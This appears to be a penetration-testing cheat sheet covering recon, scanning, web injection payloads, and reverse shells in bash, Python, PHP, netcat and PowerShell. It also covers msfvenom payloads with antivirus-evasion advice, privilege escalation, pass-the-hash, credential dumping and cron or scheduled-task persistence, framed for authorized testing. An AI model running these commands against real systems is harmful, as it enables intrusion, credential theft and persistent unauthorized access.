Pentesting

A field-tested methodology for authorized tests — from nmap recon to a clean report. Every command here assumes you have written permission.

Quick reference

The commands you reach for on every engagement — copy, scope, go.

Recon

whois target.com
subfinder -d target.com

Port sweep

nmap -sS -Pn --min-rate 1000 -p- target

Version + scripts

nmap -sC -sV -p 22,80,443 target

Web / SQLi

sqlmap -u "http://target/item?id=1" --dbs
ffuf -u http://target/FUZZ -w common.txt

Reverse shell

nc -lvnp 4444
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

msfvenom

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.0.0.1 LPORT=4444 -f elf -o sh

Privilege escalation

sudo -l
./linpeas.sh   # check GTFOBins

Hash cracking

hashcat -m 1000 ntlm.txt rockyou.txt
john --wordlist=rockyou.txt hash.txt

OWASP Top 10 (2025)

# A01 Broken Access Control
# A02 Security Misconfiguration
# A03 Supply Chain Failures

The methodology

Six phases in order — recon, scan, enumerate, exploit, post-exploit, report — all inside written scope.

1. Recon — Passive OSINT and light enumeration: whois, DNS, subdomains, certificate transparency.
2. Scan — Discover live hosts and open ports with nmap; fingerprint services and versions.
3. Enumerate — Go deep on each service: directories, users, shares, misconfigs, known CVEs.
4. Exploit — Chain findings into a foothold — a shell or authenticated access.
5. Post-exploit — Escalate privileges, pivot laterally, and establish persistence.
6. Report — Turn evidence into findings with CVSS scores and concrete remediation.

1. Recon

whois target.com
dig +short target.com

2. Scan

nmap -sn 10.10.10.0/24
nmap -sS -p- target

3. Enumerate

nmap -sC -sV -p 22,80,443 target

4. Report

# finding → CVSS → fix
# evidence → screenshots → log

!: Authorization first. Scanning or exploiting a system you do not own — or lack written permission to test — is illegal in most jurisdictions. Work only inside the signed scope, honor every exclusion, and stop immediately if you touch an out-of-scope system.

Recon & enumeration

Passive and light-touch discovery: names, hosts, subdomains, and hidden paths before anything loud.

OSINT: Start passive. whois, DNS, and certificate transparency reveal subdomains, mail servers, and infrastructure without ever touching the target — quiet, cheap, and almost always enough to pick a starting point.

• whois target.com — Registrar, nameservers, abuse contact.
• dig +short target.com — Resolve A records.
• dig -t MX target.com — Mail servers.
• dig axfr @ns1.target.com target.com — Zone transfer (often disabled).
• subfinder -d target.com — Passive subdomain discovery.
• curl -s "https://crt.sh/?q=%25.target.com&output=json" — Subdomains via certificate transparency.
• gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt — Directory brute force.
• ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt — Faster fuzzing for dirs and params.
• whatweb http://target — Web tech fingerprint.
• nmap -sV -p 1-1000 target — Service + version detection.
• enum4linux -a target — SMB / null-session enumeration.
• curl -s http://target | grep -oE 'href="[^"]+"' — Extract links from a page.

# subdomain enumeration
subfinder -d target.com -silent
amass enum -passive -d target.com
# certificate transparency
crt.sh, dns.bufferover.run, securitytrails.com

# leaked keys/creds in public repos
github.com/search?q=target.com
# exposed documents
site:target.com filetype:pdf
# archive history
web.archive.org/web/target.com

Scanning

Map hosts, ports, and services; then hunt known vulnerabilities with scanners.

Port scan

SYN sweep all ports fast, skipping host discovery.

nmap -sS -Pn --min-rate 1000 -p- target

Version + scripts

Fingerprint the services that matter most.

nmap -sC -sV -p 22,80,443 target

Vulnerability scan

Check known CVEs and misconfigurations.

nuclei -u http://target
nikto -h http://target

Host discovery

Find which hosts are up before scanning ports.

nmap -sn 10.10.10.0/24
nmap -PE -PS22,80,443 10.10.10.0/24

NSE scripts

Nmap’s script engine automates enumeration and checks.

nmap --script vuln -p 80 target
ls /usr/share/nmap/scripts

!: Scans are loud. A full -p- sweep with --min-rate 1000 trips IDS/IPS and alerts defenders. Start with -sn and a targeted -sC -sV on the ports that matter, escalate intensity only as scope allows, and timestamp every scan for the report.

Web exploitation

The OWASP Top 10 is your map; these are the injections and misconfigurations you’ll actually find.

OWASP: The OWASP Top 10 (2025), in order: Broken Access Control, Security Misconfiguration, Software Supply Chain Failures, Cryptographic Failures, Injection, Insecure Design, Authentication Failures, Software & Data Integrity Failures, Security Logging & Alerting Failures, and Mishandling of Exceptional Conditions. New in 2025: SSRF folds into Broken Access Control, and BOLA/BFLA API authorization failures are called out explicitly.

SQLi XSS SSRF IDOR RCE CSRF

SQL injection

Break out of the query, then ask the database to give you more than it should.

' OR 1=1 --
' UNION SELECT null,null--
sqlmap -u "http://target/item?id=1" --dbs

Cross-site scripting

Reflected payload that runs in someone else’s browser.

<script>alert(1)</script>
"><img src=x onerror=alert(1)>

SSRF & IDOR

Make the server fetch what it shouldn’t, or swap an object id you don’t own.

# IDOR — swap the object id
http://target/user/1001 → http://target/user/1002
# SSRF — fetch an internal endpoint
http://target/fetch?url=http://169.254.169.254/

Command injection

Append a shell command where user input reaches a system call.

; id
| whoami
$(whoami)
127.0.0.1; cat /etc/passwd

• sqlmap -u "http://target/item?id=1" --dbs — Enumerate databases.
• sqlmap -r req.txt --batch --level=5 --risk=2 — From a Burp-captured request.
• burpsuite — Proxy, repeater, intruder, scanner.
• ffuf -u http://target/FUZZ -w common.txt -fc 403 — Fuzz dirs and params, ignore 403s.
• gobuster dir -u http://target -w common.txt -x php,txt,js — Directory brute with extensions.
• whatweb http://target — Tech stack fingerprint.
• nikto -h http://target — Known-vulnerability web scan.
• nuclei -u http://target -t cves/ — Template-driven CVE scan.
• curl -s "http://target/item?id=1'" — Manual SQLi probe (watch the error).

Exploitation & shells

Turn a vulnerability into a foothold: payloads, reverse shells, and stable TTYs.

Reverse shell (bash)

The target connects back to your listener — the most reliable pattern through NAT.

# listener (attacker)
nc -lvnp 4444
# target
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Bind shell (netcat)

The target opens a port and you connect in — useful when outbound is blocked.

# target
nc -lvnp 4444 -e /bin/sh
# attacker
nc target 4444

Upgrade to a full TTY

A raw shell has no job control or history; make it behave.

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z → stty raw -echo; fg

msfvenom payloads

Generate a payload, deliver it, catch it with a handler.

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.0.0.1 LPORT=4444 -f exe -o payload.exe

PAYLOAD: Staged vs stageless. /meterpreter/reverse_tcp (staged) pulls the rest of the payload over the wire; /meterpreter_reverse_tcp (stageless) is self-contained and larger. Raw msfvenom output is flagged by most AV — encode it or use a custom loader in a real engagement. Gotcha: nc -e is often absent. Most modern netcat builds (OpenBSD, Debian) ship without -e. Use the bash /dev/tcp one-liner, socat, or a Python/PHP reverse shell instead.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

php -r '$s=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -e /bin/sh 10.0.0.1 4444

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Privilege escalation

From a low-privilege user to root or SYSTEM — plus cracking the hashes you collect.

sudo SUID cron tokens hashcat john

Linux

• sudo -l — What you can run as root.
• find / -perm -4000 2>/dev/null — SUID binaries.
• getcap -r / 2>/dev/null — File capabilities.
• crontab -l && ls -la /etc/cron* — Cron jobs.
• uname -a — Kernel version (for CVEs).
• ./linpeas.sh — Automated enumeration.

Windows

• whoami /priv — Token privileges (SeImpersonate).
• whoami /groups — Group membership.
• net user && net localgroup Administrators — Local users and admins.
• sc qc <service> — Service config (path, account).
• reg query "HKLM\SOFTWARE\...\Installer" /v AlwaysInstallElevated — MSI elevation abuse.
• winPEAS.exe — Automated enumeration.

Password attacks

• hashid hash.txt — Identify the hash type.
• hashcat -m 1000 ntlm.txt rockyou.txt — Crack NTLM hashes.
• hashcat -m 0 md5.txt rockyou.txt — Crack MD5 hashes.
• hashcat -m 13100 kerb.txt rockyou.txt — Kerberoasted TGS hashes.
• john --wordlist=rockyou.txt hash.txt — John the Ripper fallback.
• unshadow passwd shadow > creds — Prep /etc/shadow for cracking.

SUID → root shell

Abuse a writable SUID binary or a missing library it loads.

find / -perm -4000 -type f 2>/dev/null
# writable SUID?
ls -la /usr/bin/suidbin
# check GTFOBins for the binary name

Windows token abuse

Impersonate a privileged token when SeImpersonatePrivilege is held.

whoami /priv   # look for SeImpersonatePrivilege
# Potato family / PrintSpoofer
PrintSpoofer.exe -i -c cmd

GTFOBins: Check every SUID or sudo binary. For each one you find, look it up on gtfobins.github.io — dozens of standard tools (find, tar, vim, less) have documented abuses that yield a root shell.

Lateral movement & persistence

Move between hosts and stay in the network once you’re inside.

Pivoting

Route traffic through a compromised host into deeper segments.

ssh -D 1080 user@pivot   # SOCKS proxy
proxychains nmap -sT -Pn 10.20.0.0/24
chisel server -p 8080 --reverse

Pass-the-hash & creds

Reuse NTLM hashes or harvested credentials across the domain.

nxc smb 10.10.10.0/24 -u admin -H NTLM_HASH
impacket-psexec -hashes :HASH domain/user@target
impacket-secretsdump domain/user:pass@dc01

Persistence

Leave a way back in that survives reboots.

echo "$(cat key.pub)" >> ~/.ssh/authorized_keys
(crontab -l; echo "* * * * * /tmp/beacon") | crontab -
schtasks /create /tn Updater /tr "C:\temp\beacon.exe" /sc onstart

• impacket-psexec domain/user:pass@target — Remote exec via SMB.
• impacket-wmiexec domain/user:pass@target — Remote exec via WMI.
• impacket-secretsdump domain/user:pass@dc01 — Dump hashes from a domain controller.
• nxc smb 10.10.10.0/24 -u u -p p --shares — Spray creds, list shares (NetExec, the crackmapexec fork).
• nxc winrm 10.10.10.0/24 -u u -H HASH — WinRM login with a hash.
• ssh -D 1080 -J user@jump user@internal — Proxy + jump-host chaining.

TOOLS: CrackMapExec is unmaintained — use NetExec. The nxc binary is a drop-in fork with the same module syntax, so replace crackmapexec with nxc everywhere. impacket-* and evil-winrm stay the standard for Windows remote execution.

C2: For longer operations, run a C2 framework (Sliver, Cobalt Strike) to stage beacons, relay traffic through your pivots, and keep session continuity — but only on infrastructure you are authorized to use.

Reporting & ethics

Write it up so it gets fixed, and never step outside your authorization.

Report anatomy

A good report leads with risk and ends with actionable fixes.

# Executive summary
# Scope & rules of engagement
# Methodology & timeline
# Findings (CVSS + evidence)
# Remediation & appendix

Finding template

One finding per issue: title, score, proof, fix.

## [Critical] SQL injection in /item
CVSS: 9.8  AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Evidence: id=1' OR '1'='1 → all rows returned
Fix: parameterized queries; least-privilege DB user

!: Stay legal. Unauthorized access is illegal regardless of intent. Never test without a signed authorization that names the exact scope, keep every action inside it, and stop the moment you touch something out of scope.